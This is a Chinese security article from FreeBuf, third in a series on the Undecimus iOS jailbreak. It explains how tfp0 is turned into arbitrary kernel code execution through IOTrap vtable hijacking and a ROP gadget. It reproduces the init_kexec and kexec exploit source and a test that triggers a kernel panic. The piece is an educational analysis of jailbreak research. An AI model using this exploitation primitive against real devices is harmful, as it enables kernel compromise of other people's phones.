freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

iOS Jailbreak Principles - Undecimus 分析(三)通过 IOTrap 实现内核任意代码执行
FreeBuf_335202 2020-02-11 18:58:31 204436

系列文章

  1. iOS Jailbreak Principles - Sock Port 漏洞解析(一)UAF 与 Heap Spraying
  2. iOS Jailbreak Principles - Sock Port 漏洞解析(二)通过 Mach OOL Message 泄露 Port Address
  3. iOS Jailbreak Principles - Sock Port 漏洞解析(三)IOSurface Heap Spraying
  4. iOS Jailbreak Principles - Sock Port 漏洞解析(四)The tfp0 !
  5. iOS Jailbreak Principles - Undecimus 分析(一)Escape from Sandbox
  6. iOS Jailbreak Principles - Undecimus 分析(二)通过 String XREF 定位内核数据

前言

上一篇文章 中我们介绍了基于 String 的交叉引用定位内核数据的方法,基于此我们可以定位变量和函数地址。本文将介绍结合tfp0、String XREF 定位和 IOTrap 实现内核任意代码执行的过程。一旦达成这个 Primitive,我们就能以 root 权限执行内核函数,从而更好的控制内核。

kexec 概述

在 Undecimus 中,内核任意代码执行是通过 ROP Gadget 实现的。具体方法是劫持一个系统的函数指针,将其指向想要调用的函数,再按照被劫持处的函数指针原型准备参数,最后设法触发系统对被劫持指针的调用。

找到可劫持的函数指针

要实现上述 ROP,一个关键是找到一个可在 Userland 触发、易劫持的函数指针调用,另一个关键是该函数指针的原型最好支持可变参数个数,否则会对参数准备带来麻烦。所幸在 IOKit 中系统提供了 IOTrap 机制正好满足上述所有条件。

IOKit 为 userland 提供了 IOConnectTrapX 函数来触发注册到 IOUserClient 的 IOTrap,其中 X 代表的是参数个数,最大支持 6 个入参:

kern_return_t
IOConnectTrap6(io_connect_t    connect,
           uint32_t        index,
           uintptr_t    p1,
           uintptr_t    p2,
           uintptr_t    p3,
           uintptr_t    p4,
           uintptr_t    p5,
           uintptr_t    p6 )
{
    return iokit_user_client_trap(connect, index, p1, p2, p3, p4, p5, p6);
}

userland 的调用在内核中对应 iokit_user_client_trap 函数,具体实现如下:

kern_return_t iokit_user_client_trap(struct iokit_user_client_trap_args *args)
{
    kern_return_t result = kIOReturnBadArgument;
    IOUserClient *userClient;

    if ((userClient = OSDynamicCast(IOUserClient,
            iokit_lookup_connect_ref_current_task((mach_port_name_t)(uintptr_t)args->userClientRef)))) {
        IOExternalTrap *trap;
        IOService *target = NULL;

        // find a trap
        trap = userClient->getTargetAndTrapForIndex(&target, args->index);

        if (trap && target) {
            IOTrap func;

            func = trap->func;

            if (func) {
                result = (target->*func)(args->p1, args->p2, args->p3, args->p4, args->p5, args->p6);
            }
        }

    iokit_remove_connect_reference(userClient);
    }

    return result;
}

上述代码先将从 userland 传入的 IOUserClient 句柄转换为内核对象,随后从 userClient 上取出 IOTrap 执行对应的函数指针。因此只要劫持 getTargetAndTrapForIndex 并返回刻意构造的 IOTrap,即可篡改内核执行的 target->*func;更为完美的是,函数的入参恰好是 userland 调用 IOConnectTrapX 的入参。

下面我们看一下 getTargetAndTrapForIndex 的实现:

IOExternalTrap * IOUserClient::
getTargetAndTrapForIndex(IOService ** targetP, UInt32 index)
{
    IOExternalTrap *trap = getExternalTrapForIndex(index);

    if (trap) {
        *targetP = trap->object;
    }

    return trap;
}

可见 IOTrap 是从 getExternalTrapForIndex 方法返回的,继续跟进发现这是一个默认实现为空的函数:

IOExternalTrap * IOUserClient::
getExternalTrapForIndex(UInt32 index)
{
    return NULL;
}

可见此函数在父类上默认不实现,大概率是一个虚函数,下面看一下 IOUserClient 的 class 的声明来验证:

class IOUserClient : public IOService {
    // ...
    // Methods for accessing trap vector - old and new style
    virtual IOExternalTrap * getExternalTrapForIndex( UInt32 index ) APPLE_KEXT_DEPRECATED;
    // ...
};

既然是虚函数,我们可以结合 tfp0 修改 userClient 对象的虚函数表,篡改 getExternalTrapForIndex 的虚函数指针指向我们的 ROP Gadget,并在这里构造好 IOTrap 返回。

实现函数劫持

在 Undecimus 的源码中,getExternalTrapForIndex 的虚函数指针被指向了一个内核中已存在的指令区域:

add x0, x0, #0x40
ret

这里没有手动构造指令,应该是考虑到构造一个可执行的页成本较高,而复用一个已有的指令区域则非常简单。下面我们分析一下这两条指令的作用。

因为 getExternalTrapForIndex 是一个实例方法,它的 x0 是隐含参数 this,所以被劫持 getExternalTrapForIndex 的返回值为 this + 0x40,即我们要在 userClient + 0x40 处存储一个刻意构造的 IOTrap 结构:

struct IOExternalTrap {
    IOService *        object;
    IOTrap        func;
};

再回忆下 IOTrap 的执行过程:

trap = userClient->getTargetAndTrapForIndex(&target, args->index);
if (trap && target) {
    IOTrap func;

    func = trap->func;

    if (func) {
        result = (target->*func)(args->p1, args->p2, args->p3, args->p4, args->p5, args->p6);
    }
}

这里的 target 即 IOTrap 的 object 对象,它作为函数调用的隐含入参 this;而 func 即为被调用的函数指针。到这里一切都明朗了起来:

  1. 将要执行的符号地址写入 trap->func 即可执行任意函数;
  2. 将函数的第 0 个参数放置到 trap->object,第 1 ~ 6 个参数在调用 IOConnectTrap6 时传入,即可实现可变入参传递。

kexec 代码实现

上述讨论较为宏观,忽略了一些重要细节,下面将结合 Undecimus 源码进行详细分析。

PAC 带来的挑战

自 iPhone XS 开始,苹果在 ARM 处理器中扩展了一项称之为 PAC(Pointer Authentication Code) 的技术,它将指针和返回地址使用特定的密钥寄存器签名,并在使用时验签。一旦验签失败,将会解出一个无效地址引发 Crash,它为各种常见的寻址指令增加了扩展指令[1]:

BLR -> BLRA*
LDRA -> LDRA*
RET -> RETA*

这项技术给我们的 ROP 带来了很**烦,在 Undecimus 中针对 PAC 做了一系列特殊处理,整个过程十分复杂,本文不再展开,将在接下来的文章中详细介绍 PAC 缓解措施及其绕过方式。有兴趣的读者可以阅读 Examining Pointer Authentication on the iPhone XS 来详细了解。

虚函数劫持

我们知道 C++ 对象的虚函数表指针位于对象的起始地址,而虚函数表中按照偏移存放着实例方法的函数指针[2],因此我们只要确定了 getExternalTrapForIndex 方法的偏移量,再利用 tfp0 篡改虚函数指向的地址即可实现 ROP。

Undecimus 的相关源码位于 init_kexec 中,我们先忽略 arm64e 对 PAC 的处理,了解它的 vtable patch 方法,下面的代码包含了 9 个关键步骤,已给出关键注释:

bool init_kexec()
{
#if __arm64e__
    if (!parameters_init()) return false;
    kernel_task_port = tfp0;
    if (!MACH_PORT_VALID(kernel_task_port)) return false;
    current_task = ReadKernel64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
    if (!KERN_POINTER_VALID(current_task)) return false;
    kernel_task = ReadKernel64(getoffset(kernel_task));
    if (!KERN_POINTER_VALID(kernel_task)) return false;
    if (!kernel_call_init()) return false;
#else

    // 1. 创建一个 IOUserClient
    user_client = prepare_user_client();
    if (!MACH_PORT_VALID(user_client)) return false;

    // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
    // 2. 获取 IOUserClient 的内核地址,它是一个 ipc_port
    IOSurfaceRootUserClient_port = get_address_of_port(proc_struct_addr(), user_client); // UserClients are just mach_ports, so we find its address
    if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_port)) return false;

    // 3. 从 ipc_port->kobject 获取 IOUserClient 对象
    IOSurfaceRootUserClient_addr = ReadKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); // The UserClient itself (the C++ object) is at the kobject field
    if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_addr)) return false;

    // 4. 虚函数指针位于 C++ 对象的起始地址
    kptr_t IOSurfaceRootUserClient_vtab = ReadKernel64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object
    if (!KERN_POINTER_VALID(IOSurfaceRootUserClient_vtab)) return false;

    // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
    // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel

    // Create the vtable in the kernel memory, then copy the existing vtable into there
    // 5. 构造和拷贝虚函数表
    fake_vtable = kmem_alloc(fake_kalloc_size);
    if (!KERN_POINTER_VALID(fake_vtable)) return false;

    for (int i = 0; i < 0x200; i++) {
        WriteKernel64(fake_vtable + i * 8, ReadKernel64(IOSurfaceRootUserClient_vtab + i * 8));
    }

    // Create the fake user client
    // 6. 构造一个 IOUserClient 对象,并拷贝内核中 IOUserClient 的内容到构造的对象
    fake_client = kmem_alloc(fake_kalloc_size);
    if (!KERN_POINTER_VALID(fake_client)) return false;

    for (int i = 0; i < 0x200; i++) {
        WriteKernel64(fake_client + i * 8, ReadKernel64(IOSurfaceRootUserClient_addr + i * 8));
    }

    // Write our fake vtable into the fake user client
    // 7. 将构造的虚函数表写入构造的 IOUserClient 对象
    WriteKernel64(fake_client, fake_vtable);

    // Replace the user client with ours
    // 8. 将构造的 IOUserClient 对象写回 IOUserClient 对应的 ipc_port
    WriteKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), fake_client);

    // Now the userclient port we have will look into our fake user client rather than the old one

    // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
    // 9. 将特定指令区域的地址写入到虚函数表的第 183 个 Entity
    // 它对应的是 getExternalTrapForIndex 的地址
    WriteKernel64(fake_vtable + 8 * 0xB7, getoffset(add_x0_x0_0x40_ret));

#endif
    pthread_mutex_init(&kexec_lock, NULL);
    return true;
}

此时我们已经修改了构造的 userClient 的 getExternalTrapForIndex 逻辑,接下来只需要对 userClient 调用 IOConnectTrap6 即可实现 ROP 攻击,剩下的一个关键步骤是准备 IOTrap 作为 ROP Gadget 的返回值。

构造 IOTrap

由于 getExternalTrapForIndex 被指向了如下指令:

add x0, x0, #0x40
ret

我们需要在 userClient + 0x40 处构造一个 IOTrap:

struct IOExternalTrap {
    IOService *        object;
    IOTrap        func;
};

根据前面的讨论,object 应当被赋予被调用函数的第 0 个参数地址,func 应当赋予被调用函数的地址,然后再将函数的第 1 ~ 6 个参数通过 IOConnectTrap 的 args 传入。下面我们来看 Undecimus 中 kexec 的具体实现,笔者在其中补充了一些注释:

kptr_t kexec(kptr_t ptr, kptr_t x0, kptr_t x1, kptr_t x2, kptr_t x3, kptr_t x4, kptr_t x5, kptr_t x6)
{
    kptr_t returnval = 0;
    pthread_mutex_lock(&kexec_lock);
#if __arm64e__
    returnval = kernel_call_7(ptr, 7, x0, x1, x2, x3, x4, x5, x6);
#else
    // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex
    // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap.
    // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the
    // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed
    // through like normal.

    // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it
    // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents
    // (i'm not actually sure if the switch back is necessary but meh)

    // IOTrap starts at +0x40
    // fake_client 即我们构造的 userClient
    // 0ffx20 为 IOTrap->object,offx28 为 IOTrap->func,这里是对原始值进行备份
    kptr_t offx20 = ReadKernel64(fake_client + 0x40);
    kptr_t offx28 = ReadKernel64(fake_client + 0x48);

    // IOTrap->object = arg0
    WriteKernel64(fake_client + 0x40, x0);
    // IOTrap->func = func_ptr
    WriteKernel64(fake_client + 0x48, ptr);

    // x1~x6 为函数的第 1 ~ 6 个参数,第 0 个参数通过 trap->object 传入
    returnval = IOConnectTrap6(user_client, 0, x1, x2, x3, x4, x5, x6);

    // 这里对原始值进行恢复
    WriteKernel64(fake_client + 0x40, offx20);
    WriteKernel64(fake_client + 0x48, offx28);
#endif
    pthread_mutex_unlock(&kexec_lock);
    return returnval;
}

基于上述讨论这段代码还是很好理解的,到这里非 arm64e 架构下的内核任意代码执行原理就讲解完了,有关 arm64e 的讨论将在下一篇文章中继续,下面我们用 kexec 做一个实验来验证 Primitive 的达成。

kexec 实验

环境准备

请读者打开 Undecimus 源码的 jailbreak.m,搜索 _assert(init_kexec() 定位到初始化 kexec 的代码,向上翻可以发现 kexec 的初始化被放到了 ShenanigansPatch 和 setuid(0) 之后。ShenanigansPatch 是用来解决内核对 sandbox 化进程的 ucred 检查而采取的绕过措施[3],它是通过 String XREF 定位和修改内核全局变量实现的,有兴趣的读者可以自行阅读 Shenanigans, Shenanigans! 来了解。

对于非 arm64e 设备,似乎仅通过 tfp0 即可实现 kexec,这段处理应该是针对 arm64e 设备绕过 PAC 所做的必要提权处理。

我们的实验代码一定要放到 init_kexec 执行成功之后才行

获取一个内核函数的地址

在 Undecimus 中获得了许多关键函数的地址,它们通过声明一个名为 find_xxx 的导出符号实现动态查找和缓存,需要注意的是,在 kexec 初始化后 kerneldump 已经被释放,因此必须在初始化 kerneldump 时就计算好函数的地址。

我们先参考 Undecimus 是如何查找和缓存一个内核数据的,以 vnodelookup 函数为例:首先我们需要在 patchfinder64.h 中声明一个名为 `find` 的函数,它返回被查找符号的地址:

uint64_t find_vnode_lookup(void);

随后基于 String XREF 完成查找的实现:

addr_t find_vnode_lookup(void) {
    addr_t hfs_str = find_strref("hfs: journal open cb: error %d looking up device %s (dev uuid %s)\n", 1, string_base_pstring, false, false);
    if (!hfs_str) return 0;

    hfs_str -= kerndumpbase;

    addr_t call_to_stub = step64_back(kernel, hfs_str, 10*4, INSN_CALL);
    if (!call_to_stub) return 0;

    return follow_stub(kernel, call_to_stub);
}

随后在 kerneldump 阶段通过宏函数 find_offset 完成查找:

find_offset(vnode_lookup, NULL, true);

上述宏函数会动态调用 find_<symbol_name> 函数并将结果缓存起来,随后可通过 getoffset 宏函数来获取相应的偏移:

kptr_t const function = getoffset(vnode_lookup);

这里我们照猫画虎的创建一个 panic 函数偏移:

uint64_t find_panic(void)
{
    addr_t ref = find_strref("\"shenanigans!", 1, string_base_pstring, false, false);

    if (!ref) {
        return 0;
    }

    return ref + 0x4;
}

这里查找的代码是位于 sandbox.kext 中的 panic 语句:

panic("\"shenanigans!\"");

通过 String XREF 我们能定位到 panic 调用前的 add 指令,下一条指令一定是 bl _panic,因此将查找结果 + 4 即可得到内核中 panic 函数的地址。

调用内核函数

在上文中我们找到了 panic 函数的地址,这里尝试用一个自定义字符串触发一个 kernel panic,注意由于 SMAP 的存在,panic string 要从 userland 拷贝到 kernel:

// play with kexec
uint64_t function = getoffset(panic);
const char *testStr = "this panic is caused by userland!!!!!!!!!!!!!!!";
kptr_t kstr = kmem_alloc(strlen(testStr));
kwrite(kstr, testStr, strlen(testStr));
kptr_t ret = kexec(function, (kptr_t)kstr, KPTR_NULL, KPTR_NULL, KPTR_NULL, KPTR_NULL, KPTR_NULL, KPTR_NULL);
NSLog(@"result is %@", @(ret));
kmem_free(kstr, sizeof(testStr));

随后运行 Undecimus,会发生 kernel panic,为了验证我们成功调用了内核的 panic 函数,在 iPhone 上打开设置页,打开 Privacy->Analytics->Analytics Data,找到其中以 panic-full 开头的最新日志,如果试验成功可以看到如下内容:

tmp1.jpg

总结

本文详细介绍了非 arm64e 架构下通过 tfp0 实现 kexec 的过程和原理,由此可以给读者构造 ROP Gadget 带来启发。从下一篇文章开始,我们将分析 PAC 缓解措施及其绕过技巧。

tmp2.jpg

参考资料

  1. Brandon Azad, Project Zero. Examining Pointer Authentication on the iPhone XS
  2. Malecrab. C/C++杂记:虚函数的实现的基本原理
  3. stek29.rocks. Shenanigans, Shenanigans!
  4. pwn20wndstuff. Undecimus
# ios安全 # 内核漏洞 # 任意代码执行 # iOS越狱漏洞 # jailbreak
本文为 FreeBuf_335202 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
iOS 端安全与漏洞分析
FreeBuf_335202 LV.1
这家伙太懒了,还未填写个人描述!
  • 4 文章数
  • 2 关注者
iOS Jailbreak Principles - Undecimus 分析(四)绕过 A12 的 PAC 实现 kexec
2020-02-11
iOS Jailbreak Principles - Undecimus 分析(二)通过 String XREF 定位内核数据
2020-01-15
iOS Jailbreak Principles - Undecimus 分析(一)Escape from Sandbox
2020-01-15
文章目录